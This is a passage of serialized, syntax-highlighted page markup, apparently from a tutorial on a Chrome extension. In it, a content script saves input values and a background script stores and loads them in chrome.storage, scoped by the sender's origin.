},{"style":90},[5952],{"type":37,"value":4359},{"type":32,"tag":83,"props":5954,"children":5955},{"style":96},[5956],{"type":37,"value":99},{"type":32,"tag":83,"props":5958,"children":5959},{"style":102},[5960],{"type":37,"value":105},{"type":32,"tag":83,"props":5962,"children":5963},{"style":108},[5964],{"type":37,"value":2721},{"type":32,"tag":83,"props":5966,"children":5967},{"style":102},[5968],{"type":37,"value":1544},{"type":32,"tag":83,"props":5970,"children":5971},{"style":96},[5972],{"type":37,"value":702},{"type":32,"tag":83,"props":5974,"children":5975},{"class":85,"line":192},[5976,5980,5984,5988],{"type":32,"tag":83,"props":5977,"children":5978},{"style":90},[5979],{"type":37,"value":4387},{"type":32,"tag":83,"props":5981,"children":5982},{"style":96},[5983],{"type":37,"value":99},{"type":32,"tag":83,"props":5985,"children":5986},{"style":1627},[5987],{"type":37,"value":2166},{"type":32,"tag":83,"props":5989,"children":5990},{"style":96},[5991],{"type":37,"value":702},{"type":32,"tag":83,"props":5993,"children":5994},{"class":85,"line":205},[5995],{"type":32,"tag":83,"props":5996,"children":5997},{"style":96},[5998],{"type":37,"value":4413},{"type":32,"tag":83,"props":6000,"children":6001},{"class":85,"line":219},[6002,6006,6010],{"type":32,"tag":83,"props":6003,"children":6004},{"style":1627},[6005],{"type":37,"value":4421},{"type":32,"tag":83,"props":6007,"children":6008},{"style":96},[6009],{"type":37,"value":1705},{"type":32,"tag":83,"props":6011,"children":6012},{"style":96},[6013],{"type":37,"value":875},{"type":32,"tag":83,"props":6015,"children":6016},{"class":85,"line":232},[6017,6021,6025,6029],{"type":32,"tag":83,"props":6018,"children":6019},{"style":1616},[6020],{"type":37,"value":4507},{"type":32,"tag":83,"props":6022,"children":6023},{"style":96},[6024],{"type":37,"value":1624},{"type":32,"tag":83,"props":6026,"children":6027},{"style":1627},[6028],{"type":37,"value":2828},{"type":32,"tag":83,"props":6030,"children":6031},{"style":96},[6032],{"type":37,"value":1812},{"type":32,"tag":83,"props":6034,"children":6035},{"class":85,"line":245},[6036],{"type":32,"tag":83,"props":6037,"children":6038},{"style":96},[6039],{"type":37,"value":2281},{"type":32,"tag":83,"props":6041,"children":6042},{"class":85,"line":258},[6043],{"type":32,"tag":83,"props":6044,"children":6045},{"style":96},[6046],{"type":37,"value":4534},{"type":32,"tag":83,"props":6048,"children":6049},{"class":85,"line":271},[6050],{"type":32,"tag":83,"props":6051,"children":6052},{"style":96},[6053],{"type":37,"value":1942},{"type":32,"tag":83,"props":6055,"children":6056},{"class":85,"line":284},[6057],{"type":32,"tag":83,"props":6058,"children":6059},{"style":96},[6060],{"type":37,"value":1453},{"type":32,"tag":83,"props":6062,"children":6063},{"class":85,"line":297},[6064],{"type":32,"tag":83,"props":6065,"children":6066},{"emptyLinePlaceholder":123},[6067],{"type":37,"value":126},{"type":32,"tag":83,"props":6069,"children":6070},{"class":85,"line":310},[6071,6075,6079,6083,6087],{"type":32,"tag":83,"props":6072,"children":6073},{"style":1610},[6074],{"type":37,"value":2488},{"type":32,"tag":83,"props":6076,"children":6077},{"style":1610},[6078],{"type":37,"value":4096},{"type":32,"tag":83,"props":6080,"children":6081},{"style":1616},[6082],{"type":37,"value":4177},{"type":32,"tag":83,"props":6084,"children":6085},{"style":96},[6086],{"type":37,"value":4106},{"type":32,"tag":83,"props":6088,"children":6089},{"style":96},[6090],{"type":37,"value":875},{"type":32,"tag":83,"props":6092,"children":6093},{"class":85,"line":323},[6094,6098,6102,6106,6110,6114,6118,6122,6126,6130,6134],{"type":32,"tag":83,"props":6095,"children":6096},{"style":1610},[6097],{"type":37,"value":4586},{"type":32,"tag":83,"props":6099,"children":6100},{"style":1627},[6101],{"type":37,"value":4591},{"type":32,"tag":83,"props":6103,"children":6104},{"style":96},[6105],{"type":37,"value":1722},{"type":32,"tag":83,"props":6107,"children":6108},{"style":1627},[6109],{"type":37,"value":4600},{"type":32,"tag":83,"props":6111,"children":6112},{"style":96},[6113],{"type":37,"value":627},{"type":32,"tag":83,"props":6115,"children":6116},{"style":1616},[6117],{"type":37,"value":4609},{"type":32,"tag":83,"props":6119,"children":6120},{"style":96},[6121],{"type":37,"value":1624},{"type":32,"tag":83,"props":6123,"children":6124},{"style":102},[6125],{"type":37,"value":1544},{"type":32,"tag":83,"props":6127,"children":6128},{"style":108},[6129],{"type":37,"value":3543},{"type":32,"tag":83,"props":6131,"children":6132},{"style":102},[6133],{"type":37,"value":1544},{"type":32,"tag":83,"props":6135,"children":6136},{"style":96},[6137],{"type":37,"value":1812},{"type":32,"tag":83,"props":6139,"children":6140},{"class":85,"line":340},[6141,6145,6149,6153,6157,6161,6165,6169],{"type":32,"tag":83,"props":6142,"children":6143},{"style":1664},[6144],{"type":37,"value":4637},{"type":32,"tag":83,"props":6146,"children":6147},{"style":96},[6148],{"type":37,"value":2187},{"type":32,"tag":83,"props":6150,"children":6151},{"style":1610},[6152],{"type":37,"value":4646},{"type":32,"tag":83,"props":6154,"children":6155},{"style":1627},[6156],{"type":37,"value":4857},{"type":32,"tag":83,"props":6158,"children":6159},{"style":1610},[6160],{"type":37,"value":4656},{"type":32,"tag":83,"props":6162,"children":6163},{"style":1627},[6164],{"type":37,"value":4591},{"type":32,"tag":83,"props":6166,"children":6167},{"style":96},[6168],{"type":37,"value":1654},{"type":32,"tag":83,"props":6170,"children":6171},{"style":96},[6172],{"type":37,"value":875},{"type":32,"tag":83,"props":6174,"children":6175},{"class":85,"line":356},[6176,6181,6185,6190,6194,6198,6203,6207,6211,6216,6220,6224,6229,6233],{"type":32,"tag":83,"props":6177,"children":6178},{"style":1627},[6179],{"type":37,"value":6180},"    input",{"type":32,"tag":83,"props":6182,"children":6183},{"style":96},[6184],{"type":37,"value":627},{"type":32,"tag":83,"props":6186,"children":6187},{"style":1616},[6188],{"type":37,"value":6189},"addEventListener",{"type":32,"tag":83,"props":6191,"children":6192},{"style":96},[6193],{"type":37,"value":1624},{"type":32,"tag":83,"props":6195,"children":6196},{"style":102},[6197],{"type":37,"value":1544},{"type":32,"tag":83,"props":6199,"children":6200},{"style":108},[6201],{"type":37,"value":6202},"change",{"type":32,"tag":83,"props":6204,"children":6205},{"style":102},[6206],{"type":37,"value":1544},{"type":32,"tag":83,"props":6208,"children":6209},{"style":96},[6210],{"type":37,"value":1635},{"type":32,"tag":83,"props":6212,"children":6213},{"style":1610},[6214],{"type":37,"value":6215}," async",{"type":32,"tag":83,"props":6217,"children":6218},{"style":1610},[6219],{"type":37,"value":4096},{"type":32,"tag":83,"props":6221,"children":6222},{"style":96},[6223],{"type":37,"value":2187},{"type":32,"tag":83,"props":6225,"children":6226},{"style":1627},[6227],{"type":37,"value":6228},"event",{"type":32,"tag":83,"props":6230,"children":6231},{"style":96},[6232],{"type":37,"value":1654},{"type":32,"tag":83,"props":6234,"children":6235},{"style":96},[6236],{"type":37,"value":875},{"type":32,"tag":83,"props":6238,"children":6239},{"class":85,"line":369},[6240,6245,6249,6253,6258,6262,6267,6271,6275],{"type":32,"tag":83,"props":6241,"children":6242},{"style":1610},[6243],{"type":37,"value":6244},"      const",{"type":32,"tag":83,"props":6246,"children":6247},{"style":1627},[6248],{"type":37,"value":1727},{"type":32,"tag":83,"props":6250,"children":6251},{"style":96},[6252],{"type":37,"value":1722},{"type":32,"tag":83,"props":6254,"children":6255},{"style":1627},[6256],{"type":37,"value":6257}," event",{"type":32,"tag":83,"props":6259,"children":6260},{"style":96},[6261],{"type":37,"value":627},{"type":32,"tag":83,"props":6263,"children":6264},{"style":1627},[6265],{"type":37,"value":6266},"target",{"type":32,"tag":83,"props":6268,"children":6269},{"style":96},[6270],{"type":37,"value":627},{"type":32,"tag":83,"props":6272,"children":6273},{"style":1627},[6274],{"type":37,"value":714},{"type":32,"tag":83,"props":6276,"children":6277},{"style":96},[6278],{"type":37,"value":1558},{"type":32,"tag":83,"props":6280,"children":6281},{"class":85,"line":387},[6282,6286,6290,6294,6298,6302,6306,6310,6314],{"type":32,"tag":83,"props":6283,"children":6284},{"style":1610},[6285],{"type":37,"value":6244},{"type":32,"tag":83,"props":6287,"children":6288},{"style":1627},[6289],{"type":37,"value":1640},{"type":32,"tag":83,"props":6291,"children":6292},{"style":96},[6293],{"type":37,"value":1722},{"type":32,"tag":83,"props":6295,"children":6296},{"style":1627},[6297],{"type":37,"value":6257},{"type":32,"tag":83,"props":6299,"children":6300},{"style":96},[6301],{"type":37,"value":627},{"type":32,"tag":83,"props":6303,"children":6304},{"style":1627},[6305],{"type":37,"value":6266},{"type":32,"tag":83,"props":6307,"children":6308},{"style":96},[6309],{"type":37,"value":627},{"type":32,"tag":83,"props":6311,"children":6312},{"style":1627},[6313],{"type":37,"value":2792},{"type":32,"tag":83,"props":6315,"children":6316},{"style":96},[6317],{"type":37,"value":1558},{"type":32,"tag":83,"props":6319,"children":6320},{"class":85,"line":405},[6321,6325,6329,6333,6337,6341,6345,6349,6353,6357,6361],{"type":32,"tag":83,"props":6322,"children":6323},{"style":1664},[6324],{"type":37,"value":2182},{"type":32,"tag":83,"props":6326,"children":6327},{"style":96},[6328],{"type":37,"value":2187},{"type":32,"tag":83,"props":6330,"children":6331},{"style":1610},[6332],{"type":37,"value":5100},{"type":32,"tag":83,"props":6334,"children":6335},{"style":1627},[6336],{"type":37,"value":2792},{"type":32,"tag":83,"props":6338,"children":6339},{"style":96},[6340],{"type":37,"value":627},{"type":32,"tag":83,"props":6342,"children":6343},{"style":1616},[6344],{"type":37,"value":5113},{"type":32,"tag":83,"props":6346,"children":6347},{"style":96},[6348],{"type":37,"value":1624},{"type":32,"tag":83,"props":6350,"children":6351},{"style":102},[6352],{"type":37,"value":688},{"type":32,"tag":83,"props":6354,"children":6355},{"style":108},[6356],{"type":37,"value":5830},{"type":32,"tag":83,"props":6358,"children":6359},{"style":102},[6360],{"type":37,"value":688},{"type":32,"tag":83,"props":6362,"children":6363},{"style":96},[6364],{"type":37,"value":6365},")){\n",{"type":32,"tag":83,"props":6367,"children":6368},{"class":85,"line":423},[6369],{"type":32,"tag":83,"props":6370,"children":6371},{"style":1664},[6372],{"type":37,"value":6373},"        return\n",{"type":32,"tag":83,"props":6375,"children":6376},{"class":85,"line":441},[6377],{"type":32,"tag":83,"props":6378,"children":6379},{"style":96},[6380],{"type":37,"value":2281},{"type":32,"tag":83,"props":6382,"children":6383},{"class":85,"line":460},[6384,6389],{"type":32,"tag":83,"props":6385,"children":6386},{"style":1664},[6387],{"type":37,"value":6388},"      try",{"type":32,"tag":83,"props":6390,"children":6391},{"style":96},[6392],{"type":37,"value":875},{"type":32,"tag":83,"props":6394,"children":6395},{"class":85,"line":478},[6396,6401,6405,6409,6413,6417,6421],{"type":32,"tag":83,"props":6397,"children":6398},{"style":1664},[6399],{"type":37,"value":6400},"        await",{"type":32,"tag":83,"props":6402,"children":6403},{"style":1616},[6404],{"type":37,"value":1619},{"type":32,"tag":83,"props":6406,"children":6407},{"style":96},[6408],{"type":37,"value":1851},{"type":32,"tag":83,"props":6410,"children":6411},{"style":1627},[6412],{"type":37,"value":1727},{"type":32,"tag":83,"props":6414,"children":6415},{"style":96},[6416],{"type":37,"value":1635},{"type":32,"tag":83,"props":6418,"children":6419},{"style":1627},[6420],{"type":37,"value":1640},{"type":32,"tag":83,"props":6422,"children":6423},{"style":96},[6424],{"type":37,"value":2273},{"type":32,"tag":83,"props":6426,"children":6427},{"class":85,"line":496},[6428,6432,6436,6440,6444,6448,6453,6457],{"type":32,"tag":83,"props":6429,"children":6430},{"style":1627},[6431],{"type":37,"value":4779},{"type":32,"tag":83,"props":6433,"children":6434},{"style":96},[6435],{"type":37,"value":627},{"type":32,"tag":83,"props":6437,"children":6438},{"style":1616},[6439],{"type":37,"value":1774},{"type":32,"tag":83,"props":6441,"children":6442},{"style":96},[6443],{"type":37,"value":1624},{"type":32,"tag":83,"props":6445,"children":6446},{"style":102},[6447],{"type":37,"value":1544},{"type":32,"tag":83,"props":6449,"children":6450},{"style":108},[6451],{"type":37,"value":6452},"Data saved",{"type":32,"tag":83,"props":6454,"children":6455},{"style":102},[6456],{"type":37,"value":1544},{"type":32,"tag":83,"props":6458,"children":6459},{"style":96},[6460],{"type":37,"value":1812},{"type":32,"tag":83,"props":6462,"children":6463},{"class":85,"line":514},[6464,6469,6473,6477,6481,6485],{"type":32,"tag":83,"props":6465,"children":6466},{"style":96},[6467],{"type":37,"value":6468},"      }",{"type":32,"tag":83,"props":6470,"children":6471},{"style":1664},[6472],{"type":37,"value":4912},{"type":32,"tag":83,"props":6474,"children":6475},{"style":96},[6476],{"type":37,"value":2187},{"type":32,"tag":83,"props":6478,"children":6479},{"style":1627},[6480],{"type":37,"value":2871},{"type":32,"tag":83,"props":6482,"children":6483},{"style":96},[6484],{"type":37,"value":1654},{"type":32,"tag":83,"props":6486,"children":6487},{"style":96},[6488],{"type":37,"value":875},{"type":32,"tag":83,"props":6490,"children":6491},{"class":85,"line":526},[6492,6496,6500,6504,6508,6512,6517,6521,6525,6529],{"type":32,"tag":83,"props":6493,"children":6494},{"style":1627},[6495],{"type":37,"value":4779},{"type":32,"tag":83,"props":6497,"children":6498},{"style":96},[6499],{"type":37,"value":627},{"type":32,"tag":83,"props":6501,"children":6502},{"style":1616},[6503],{"type":37,"value":1774},{"type":32,"tag":83,"props":6505,"children":6506},{"style":96},[6507],{"type":37,"value":1624},{"type":32,"tag":83,"props":6509,"children":6510},{"style":102},[6511],{"type":37,"value":1544},{"type":32,"tag":83,"props":6513,"children":6514},{"style":108},[6515],{"type":37,"value":6516},"Error saving data",{"type":32,"tag":83,"props":6518,"children":6519},{"style":102},[6520],{"type":37,"value":1544},{"type":32,"tag":83,"props":6522,"children":6523},{"style":96},[6524],{"type":37,"value":1635},{"type":32,"tag":83,"props":6526,"children":6527},{"style":1627},[6528],{"type":37,"value":2888},{"type":32,"tag":83,"props":6530,"children":6531},{"style":96},[6532],{"type":37,"value":1812},{"type":32,"tag":83,"props":6534,"children":6535},{"class":85,"line":538},[6536],{"type":32,"tag":83,"props":6537,"children":6538},{"style":96},[6539],{"type":37,"value":2281},{"type":32,"tag":83,"props":6541,"children":6542},{"class":85,"line":548},[6543],{"type":32,"tag":83,"props":6544,"children":6545},{"style":96},[6546],{"type":37,"value":2371},{"type":32,"tag":83,"props":6548,"children":6549},{"class":85,"line":557},[6550],{"type":32,"tag":83,"props":6551,"children":6552},{"style":96},[6553],{"type":37,"value":4999},{"type":32,"tag":83,"props":6555,"children":6556},{"class":85,"line":566},[6557],{"type":32,"tag":83,"props":6558,"children":6559},{"style":96},[6560],{"type":37,"value":1453},{"type":32,"tag":3176,"props":6562,"children":6563},{"id":1041},[6564],{"type":37,"value":6565},"Background:",{"type":32,"tag":46,"props":6567,"children":6568},{},[6569],{"type":37,"value":6570},"The background script will listen for two events:",{"type":32,"tag":46,"props":6572,"children":6573},{},[6574,6579,6580,6585],{"type":32,"tag":79,"props":6575,"children":6577},{"className":6576},[],[6578],{"type":37,"value":2721},{"type":37,"value":4067},{"type":32,"tag":79,"props":6581,"children":6583},{"className":6582},[],[6584],{"type":37,"value":2941},{"type":37,"value":6586},". These events are processed in order to update or retrieve elements from the chrome storage. It is important to note that the Chrome storage will be scoped to the origin; in other words, each key and value stored or retrieved in the Chrome storage will be scoped to an origin.",{"type":32,"tag":68,"props":6588,"children":6589},{"lang":1393},[6590],{"type":32,"tag":73,"props":6591,"children":6593},{"className":1531,"code":6592,"language":1393,"meta":7,"style":7},"function save(key, value, origin) {\n  return new Promise((resolve, reject) => {\n    key = key + \"-\" + origin;\n    console.log(\"Saving: \", key, value);\n    chrome.storage.local.set({ [key]: value }, () => {\n      resolve({ message: 'Data saved successfully' })\n    })\n  })\n}\nfunction load(key, origin) {\n  return new Promise((resolve, reject) => {\n    key = key + \"-\" + origin;\n    console.log(\"Loading: \", key);\n    chrome.storage.local.get([key], data => {\n      if (data.hasOwnProperty(key) === false) {\n        return reject({ message: 'Data not found' });\n      }\n      console.log(\"Data: \", data[key]);\n      resolve(data[key]);\n    });\n  });\n}\n\nchrome.runtime.onMessage.addListener((request, sender, sendResponse) => {\n  new Promise(async () => {\n    const sender_origin = new URL(sender.tab.pendingUrl ?? sender.tab.url).origin;\n    console.log(\"Sender Origin: \", sender_origin);\n    console.log(\"Request: \", request);\n    if (request.type === \"SAVE\") {\n      save(request.payload.key, request.payload.value, sender_origin)\n        .then(response => sendResponse(response))\n        .catch(error => sendResponse({ error }));\n    } else if (request.type === \"LOAD\") {\n      load(request.payload.key, sender_origin)\n        .then(response => sendResponse(response))\n        .catch(error => sendResponse({ error }));\n    }\n  })\n  return true;\n});\n",[6594],{"type":32,"tag":79,"props":6595,"children":6596},{"__ignoreMap":7},[6597,6640,6683,6726,6777,6844,6879,6886,6893,6900,6935,6978,7021,7064,7119,7170,7209,7216,7267,7294,7301,7308,7315,7322,7389,7420,7503,7546,7589,7636,7703,7742,7781,7836,7879,7918,7957,7964,7971,7986],{"type":32,"tag":83,"props":6598,"children":6599},{"class":85,"line":86},[6600,6604,6608,6612,6616,6620,6624,6628,6632,6636],{"type":32,"tag":83,"props":6601,"children":6602},{"style":1610},[6603],{"type":37,"value":1613},{"type":32,"tag":83,"props":6605,"children":6606},{"style":1616},[6607],{"type":37,"value":1619},{"type":32,"tag":83,"props":6609,"children":6610},{"style":96},[6611],{"type":37,"value":1624},{"type":32,"tag":83,"props":6613,"children":6614},{"style":1627},[6615],{"type":37,"value":1630},{"type":32,"tag":83,"props":6617,"children":6618},{"style":96},[6619],{"type":37,"value":1635},{"type":32,"tag":83,"props":6621,"children":6622},{"style":1627},[6623],{"type":37,"value":1640},{"type":32,"tag":83,"props":6625,"children":6626},{"style":96},[6627],{"type":37,"value":1635},{"type":32,"tag":83,"props":6629,"children":6630},{"style":1627},[6631],{"type":37,"value":1649},{"type":32,"tag":83,"props":6633,"children":6634},{"style":96},[6635],{"type":37,"value":1654},{"type":32,"tag":83,"props":6637,"children":6638},{"style":96},[6639],{"type":37,"value":875},{"type":32,"tag":83,"props":6641,"children":6642},{"class":85,"line":119},[6643,6647,6651,6655,6659,6663,6667,6671,6675,6679],{"type":32,"tag":83,"props":6644,"children":6645},{"style":1664},[6646],{"type":37,"value":1667},{"type":32,"tag":83,"props":6648,"children":6649},{"style":1610},[6650],{"type":37,"value":1672},{"type":32,"tag":83,"props":6652,"children":6653},{"style":90},[6654],{"type":37,"value":1677},{"type":32,"tag":83,"props":6656,"children":6657},{"style":96},[6658],{"type":37,"value":1682},{"type":32,"tag":83,"props":6660,"children":6661},{"style":1627},[6662],{"type":37,"value":1687},{"type":32,"tag":83,"props":6664,"children":6665},{"style":96},[6666],{"type":37,"value":1635},{"type":32,"tag":83,"props":6668,"children":6669},{"style":1627},[6670],{"type":37,"value":1696},{"type":32,"tag":83,"props":6672,"children":6673},{"style":96},[6674],{"type":37,"value":1654},{"type":32,"tag":83,"props":6676,"children":6677},{"style":96},[6678],{"type":37,"value":1705},{"type":32,"tag":83,"props":6680,"children":6681},{"style":96},[6682],{"type":37,"value":875},{"type":32,"tag":83,"props":6684,"children":6685},{"class":85,"line":129},[6686,6690,6694,6698,6702,6706,6710,6714,6718,6722],{"type":32,"tag":83,"props":6687,"children":6688},{"style":1627},[6689],{"type":37,"value":1717},{"type":32,"tag":83,"props":6691,"children":6692},{"style":96},[6693],{"type":37,"value":1722},{"type":32,"tag":83,"props":6695,"children":6696},{"style":1627},[6697],{"type":37,"value":1727},{"type":32,"tag":83,"props":6699,"children":6700},{"style":1610},[6701],{"type":37,"value":1732},{"type":32,"tag":83,"props":6703,"children":6704},{"style":102},[6705],{"type":37,"value":727},{"type":32,"tag":83,"props":6707,"children":6708},{"style":108},[6709],{"type":37,"value":1741},{"type":32,"tag":83,"props":6711,"children":6712},{"style":102},[6713],{"type":37,"value":688},{"type":32,"tag":83,"props":6715,"children":6716},{"style":1610},[6717],{"type":37,"value":1732},{"type":32,"tag":83,"props":6719,"children":6720},{"style":1627},[6721],{"type":37,"value":1649},{"type":32,"tag":83,"props":6723,"children":6724},{"style":96},[6725],{"type":37,"value":1558},{"type":32,"tag":83,"props":6727,"children":6728},{"class":85,"line":143},[6729,6733,6737,6741,6745,6749,6753,6757,6761,6765,6769,6773],{"type":32,"tag":83,"props":6730,"children":6731},{"style":1627},[6732],{"type":37,"value":1765},{"type":32,"tag":83,"props":6734,"children":6735},{"style":96},[6736],{"type":37,"value":627},{"type":32,"tag":83,"props":6738,"children":6739},{"style":1616},[6740],{"type":37,"value":1774},{"type":32,"tag":83,"props":6742,"children":6743},{"style":96},[6744],{"type":37,"value":1624},{"type":32,"tag":83,"props":6746,"children":6747},{"style":102},[6748],{"type":37,"value":688},{"type":32,"tag":83,"props":6750,"children":6751},{"style":108},[6752],{"type":37,"value":1787},{"type":32,"tag":83,"props":6754,"children":6755},{"style":102},[6756],{"type":37,"value":688},{"type":32,"tag":83,"props":6758,"children":6759},{"style":96},[6760],{"type":37,"value":1635},{"type":32,"tag":83,"props":6762,"children":6763},{"style":1627},[6764],{"type":37,"value":1727},{"type":32,"tag":83,"props":6766,"children":6767},{"style":96},[6768],{"type":37,"value":1635},{"type":32,"tag":83,"props":6770,"children":6771},{"style":1627},[6772],{"type":37,"value":1640},{"type":32,"tag":83,"props":6774,"children":6775},{"style":96},[6776],{"type":37,"value":1812},{"type":32,"tag":83,"props":6778,"children":6779},{"class":85,"line":156},[6780,6784,6788,6792,6796,6800,6804,6808,6812,6816,6820,6824,6828,6832,6836,6840],{"type":32,"tag":83,"props":6781,"children":6782},{"style":1627},[6783],{"type":37,"value":1820},{"type":32,"tag":83,"props":6785,"children":6786},{"style":96},[6787],{"type":37,"value":627},{"type":32,"tag":83,"props":6789,"children":6790},{"style":1627},[6791],{"type":37,"value":1230},{"type":32,"tag":83,"props":6793,"children":6794},{"style":96},[6795],{"type":37,"value":627},{"type":32,"tag":83,"props":6797,"children":6798},{"style":1627},[6799],{"type":37,"value":1837},{"type":32,"tag":83,"props":6801,"children":6802},{"style":96},[6803],{"type":37,"value":627},{"type":32,"tag":83,"props":6805,"children":6806},{"style":1616},[6807],{"type":37,"value":1846},{"type":32,"tag":83,"props":6809,"children":6810},{"style":96},[6811],{"type":37,"value":1851},{"type":32,"tag":83,"props":6813,"children":6814},{"style":96},[6815],{"type":37,"value":1856},{"type":32,"tag":83,"props":6817,"children":6818},{"style":1627},[6819],{"type":37,"value":1630},{"type":32,"tag":83,"props":6821,"children":6822},{"style":96},[6823],{"type":37,"value":1865},{"type":32,"tag":83,"props":6825,"children":6826},{"style":1627},[6827],{"type":37,"value":1640},{"type":32,"tag":83,"props":6829,"children":6830},{"style":96},[6831],{"type":37,"value":1874},{"type":32,"tag":83,"props":6833,"children":6834},{"style":96},[6835],{"type":37,"value":1879},{"type":32,"tag":83,"props":6837,"children":6838},{"style":96},[6839],{"type":37,"value":1705},{"type":32,"tag":83,"props":6841,"children":6842},{"style":96},[6843],{"type":37,"value":875},{"type":32,"tag":83,"props":6845,"children":6846},{"class":85,"line":174},[6847,6851,6855,6859,6863,6867,6871,6875],{"type":32,"tag":83,"props":6848,"children":6849},{"style":1616},[6850],{"type":37,"value":1895},{"type":32,"tag":83,"props":6852,"children":6853},{"style":96},[6854],{"type":37,"value":1851},{"type":32,"tag":83,"props":6856,"children":6857},{"style":90},[6858],{"type":37,"value":1904},{"type":32,"tag":83,"props":6860,"children":6861},{"style":96},[6862],{"type":37,"value":99},{"type":32,"tag":83,"props":6864,"children":6865},{"style":102},[6866],{"type":37,"value":105},{"type":32,"tag":83,"props":6868,"children":6869},{"style":108},[6870],{"type":37,"value":1917},{"type":32,"tag":83,"props":6872,"children":6873},{"style":102},[6874],{"type":37,"value":1544},{"type":32,"tag":83,"props":6876,"children":6877},{"style":96},[6878],{"type":37,"value":1926},{"type":32,"tag":83,"props":6880,"children":6881},{"class":85,"line":192},[6882],{"type":32,"tag":83,"props":6883,"children":6884},{"style":96},[6885],{"type":37,"value":1934},{"type":32,"tag":83,"props":6887,"children":6888},{"class":85,"line":205},[6889],{"type":32,"tag":83,"props":6890,"children":6891},{"style":96},[6892],{"type":37,"value":1942},{"type":32,"tag":83,"props":6894,"children":6895},{"class":85,"line":219},[6896],{"type":32,"tag":83,"props":6897,"children":6898},{"style":96},[6899],{"type":37,"value":1453},{"type":32,"tag":83,"props":6901,"children":6902},{"class":85,"line":232},[6903,6907,6911,6915,6919,6923,6927,6931],{"type":32,"tag":83,"props":6904,"children":6905},{"style":1610},[6906],{"type":37,"value":1613},{"type":32,"tag":83,"props":6908,"children":6909},{"style":1616},[6910],{"type":37,"value":1961},{"type":32,"tag":83,"props":6912,"children":6913},{"style":96},[6914],{"type":37,"value":1624},{"type":32,"tag":83,"props":6916,"children":6917},{"style":1627},[6918],{"type":37,"value":1630},{"type":32,"tag":83,"props":6920,"children":6921},{"style":96},[6922],{"type":37,"value":1635},{"type":32,"tag":83,"props":6924,"children":6925},{"style":1627},[6926],{"type":37,"value":1649},{"type":32,"tag":83,"props":6928,"children":6929},{"style":96},[6930],{"type":37,"value":1654},{"type":32,"tag":83,"props":6932,"children":6933},{"style":96},[6934],{"type":37,"value":875},{"type":32,"tag":83,"props":6936,"children":6937},{"class":85,"line":245},[6938,6942,6946,6950,6954,6958,6962,6966,6970,6974],{"type":32,"tag":83,"props":6939,"children":6940},{"style":1664},[6941],{"type":37,"value":1667},{"type":32,"tag":83,"props":6943,"children":6944},{"style":1610},[6945],{"type":37,"value":1672},{"type":32,"tag":83,"props":6947,"children":6948},{"style":90},[6949],{"type":37,"value":1677},{"type":32,"tag":83,"props":6951,"children":6952},{"style":96},[6953],{"type":37,"value":1682},{"type":32,"tag":83,"props":6955,"children":6956},{"style":1627},[6957],{"type":37,"value":1687},{"type":32,"tag":83,"props":6959,"children":6960},{"style":96},[6961],{"type":37,"value":1635},{"type":32,"tag":83,"props":6963,"children":6964},{"style":1627},[6965],{"type":37,"value":1696},{"type":32,"tag":83,"props":6967,"children":6968},{"style":96},[6969],{"type":37,"value":1654},{"type":32,"tag":83,"props":6971,"children":6972},{"style":96},[6973],{"type":37,"value":1705},{"type":32,"tag":83,"props":6975,"children":6976},{"style":96},[6977],{"type":37,"value":875},{"type":32,"tag":83,"props":6979,"children":6980},{"class":85,"line":258},[6981,6985,6989,6993,6997,7001,7005,7009,7013,7017],{"type":32,"tag":83,"props":6982,"children":6983},{"style":1627},[6984],{"type":37,"value":1717},{"type":32,"tag":83,"props":6986,"children":6987},{"style":96},[6988],{"type":37,"value":1722},{"type":32,"tag":83,"props":6990,"children":6991},{"style":1627},[6992],{"type":37,"value":1727},{"type":32,"tag":83,"props":6994,"children":6995},{"style":1610},[6996],{"type":37,"value":1732},{"type":32,"tag":83,"props":6998,"children":6999},{"style":102},[7000],{"type":37,"value":727},{"type":32,"tag":83,"props":7002,"children":7003},{"style":108},[7004],{"type":37,"value":1741},{"type":32,"tag":83,"props":7006,"children":7007},{"style":102},[7008],{"type":37,"value":688},{"type":32,"tag":83,"props":7010,"children":7011},{"style":1610},[7012],{"type":37,"value":1732},{"type":32,"tag":83,"props":7014,"children":7015},{"style":1627},[7016],{"type":37,"value":1649},{"type":32,"tag":83,"props":7018,"children":7019},{"style":96},[7020],{"type":37,"value":1558},{"type":32,"tag":83,"props":7022,"children":7023},{"class":85,"line":271},[7024,7028,7032,7036,7040,7044,7048,7052,7056,7060],{"type":32,"tag":83,"props":7025,"children":7026},{"style":1627},[7027],{"type":37,"value":1765},{"type":32,"tag":83,"props":7029,"children":7030},{"style":96},[7031],{"type":37,"value":627},{"type":32,"tag":83,"props":7033,"children":7034},{"style":1616},[7035],{"type":37,"value":1774},{"type":32,"tag":83,"props":7037,"children":7038},{"style":96},[7039],{"type":37,"value":1624},{"type":32,"tag":83,"props":7041,"children":7042},{"style":102},[7043],{"type":37,"value":688},{"type":32,"tag":83,"props":7045,"children":7046},{"style":108},[7047],{"type":37,"value":2099},{"type":32,"tag":83,"props":7049,"children":7050},{"style":102},[7051],{"type":37,"value":688},{"type":32,"tag":83,"props":7053,"children":7054},{"style":96},[7055],{"type":37,"value":1635},{"type":32,"tag":83,"props":7057,"children":7058},{"style":1627},[7059],{"type":37,"value":1727},{"type":32,"tag":83,"props":7061,"children":7062},{"style":96},[7063],{"type":37,"value":1812},{"type":32,"tag":83,"props":7065,"children":7066},{"class":85,"line":284},[7067,7071,7075,7079,7083,7087,7091,7095,7099,7103,7107,7111,7115],{"type":32,"tag":83,"props":7068,"children":7069},{"style":1627},[7070],{"type":37,"value":1820},{"type":32,"tag":83,"props":7072,"children":7073},{"style":96},[7074],{"type":37,"value":627},{"type":32,"tag":83,"props":7076,"children":7077},{"style":1627},[7078],{"type":37,"value":1230},{"type":32,"tag":83,"props":7080,"children":7081},{"style":96},[7082],{"type":37,"value":627},{"type":32,"tag":83,"props":7084,"children":7085},{"style":1627},[7086],{"type":37,"value":1837},{"type":32,"tag":83,"props":7088,"children":7089},{"style":96},[7090],{"type":37,"value":627},{"type":32,"tag":83,"props":7092,"children":7093},{"style":1616},[7094],{"type":37,"value":2147},{"type":32,"tag":83,"props":7096,"children":7097},{"style":96},[7098],{"type":37,"value":2152},{"type":32,"tag":83,"props":7100,"children":7101},{"style":1627},[7102],{"type":37,"value":1630},{"type":32,"tag":83,"props":7104,"children":7105},{"style":96},[7106],{"type":37,"value":2161},{"type":32,"tag":83,"props":7108,"children":7109},{"style":1627},[7110],{"type":37,"value":2166},{"type":32,"tag":83,"props":7112,"children":7113},{"style":96},[7114],{"type":37,"value":1705},{"type":32,"tag":83,"props":7116,"children":7117},{"style":96},[7118],{"type":37,"value":875},{"type":32,"tag":83,"props":7120,"children":7121},{"class":85,"line":297},[7122,7126,7130,7134,7138,714